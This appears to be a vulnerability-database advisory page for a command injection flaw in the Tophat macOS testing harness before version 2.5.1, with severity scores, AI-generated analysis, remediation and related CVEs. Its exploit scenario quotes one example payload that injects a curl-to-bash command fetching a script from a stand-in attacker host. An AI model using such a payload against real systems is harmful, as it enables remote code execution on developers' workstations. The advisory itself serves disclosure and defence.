Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 4.0 score of 6.3 reflects a medium-severity vulnerability with network attack vector and low complexity, but requiring authenticated privileges (PR:L). However, the real-world risk is substantially elevated due to multiple factors: the attack surface is local (localhost:29070) and accessible to any developer process on the same workstation, which contradicts the 'authenticated' severity assumption in typical threat models. The vulnerability requires no user interaction (UI:N) and delivers high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H). EPSS data is not provided, but the exploit characteristics-no complexity, direct command injection, execution under user privileges-suggest high exploitability. The absence of KEV status and no explicit POC reference in input data indicates this may be a recently disclosed or relatively low-profile vulnerability. From an SSVC perspective, exploitation is straightforward (automatable via URL crafting), technical impact is complete system compromise at the user level, and the affected population (developers with Tophat) is specific but potentially wide in development organizations. The primary risk mitigation is the availability of a patched version (2.5.1), which reduces urgency but increases the priority of rapid deployment in development environments. |
| Exploit ScenarioDerived | An attacker with network access to a developer's macOS workstation (or the ability to compromise a process on the same system) crafts a malicious tophat:// URL or sends an HTTP request to http://localhost:29070 with a crafted 'arguments' query parameter containing shell metacharacters and arbitrary commands (e.g., 'arguments=; curl http://attacker.com/malware.sh | bash'). When Tophat processes this URL-either via user interaction with a link, programmatic invocation from a compromised build tool, or cross-application scheme activation-the unsanitized parameter is directly concatenated into a bash command string, executing the attacker's payload under the developer's user privileges. No public exploit code has been identified at the time of analysis, though the simplicity of URL-based command injection makes proof-of-concept development trivial. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 08, 2026
Remote code execution in Tophat mobile testing harness prior to 2.5.1 allows authenticated network attackers to execute arbitrary commands on a developer's macOS workstation via unsanitized URL query parameters passed directly to bash. The vulnerability affects any developer with Tophat installed, with commands executing under the user's permissions and no confirmation dialog for previously trusted build hosts. This was fixed in version 2.5.1.
RemediationAI
Vendor-released patch: Tophat 2.5.1. Developers must immediately upgrade from any version prior to 2.5.1 to the patched release. The patch addresses the unsanitized URL argument parsing by implementing proper input validation and escaping before passing arguments to shell execution. No workarounds are documented or recommended as a substitute for upgrading. Verify the upgrade by checking the installed version via Tophat's version command or system package manager, and restart any dependent build processes. For additional context and technical details, consult the GitHub security advisory at https://github.com/Shopify/tophat/security/advisories/GHSA-8x8g-6rv5-mgg2 and the upstream fix at https://github.com/Shopify/tophat/pull/139.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Tophat is a mobile application testing harness for macOS that processes custom URL schemes (tophat://) and localhost HTTP requests (http://localhost:29070). The vulnerability stems from insufficient input validation on the 'arguments' query parameter, which flows unsanitized through URL parsing directly into a /bin/bash -c command execution context. This represents a classic command injection vulnerability (CWE-78) where attacker-controlled input is concatenated into shell command strings without proper escaping or sanitization. The localhost listener on port 29070 creates a local attack surface accessible to any process on the macOS system, while the custom URL scheme handler allows cross-application invocation. The lack of confirmation dialogs for previously trusted build hosts eliminates a potential user-interaction barrier that might otherwise mitigate exploitation.
Know when Tophat gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
Tophat is a mobile applications testing harness. Prior to 2.5.1, Tophat is affected by remote code execution via crafted tophat:// or http://localhost:29070 URLs. The arguments query parameter flows unsanitized from URL parsing through to /bin/bash -c execution, allowing an attacker to execute arbitrary commands on a developer's macOS workstation. Any developer with Tophat installed is vulnerable. For previously trusted build hosts, no confirmation dialog appears. Attacker commands run with the user's permissions. This vulnerability is fixed in 2.5.1.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Toptech Systems TMS7 and TopHat expose a file export endpoint that lets any network-reachable, unauthenticated attacker
Arbitrary PHP file upload and execution is possible in Toptech Systems TMS7 and TopHat version 7.6.3, because the TMS fi
Time-based blind SQL injection in Toptech Systems TMS7 and TopHat lets an authenticated, high-privilege operator inject
Time-based blind SQL injection in Toptech Systems TMS7 and TopHat terminal management software lets an authenticated hig
Time-based blind SQL injection in the home-page search function of Toptech Systems' TMS7 terminal management application
Time-based blind SQL injection in the 'search' parameter of the view-audit-logs feature (utilities section) of Toptech S
Time-based blind SQL injection in the business allocation search feature of Toptech Systems TMS7 and TopHat 7.6.3 and ea
Session fixation (CWE-384) in Toptech Systems TMS7 and TopHat terminal management platforms allows an attacker to seed a
Cross-site scripting (CWE-79) in Toptech Systems' TMS7 terminal management platform (and the related TopHat product) all
Authenticated attackers positioned on the adjacent network can abuse unsafe inline-script and string-evaluation (eval-cl
EUVD-2026-20613
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB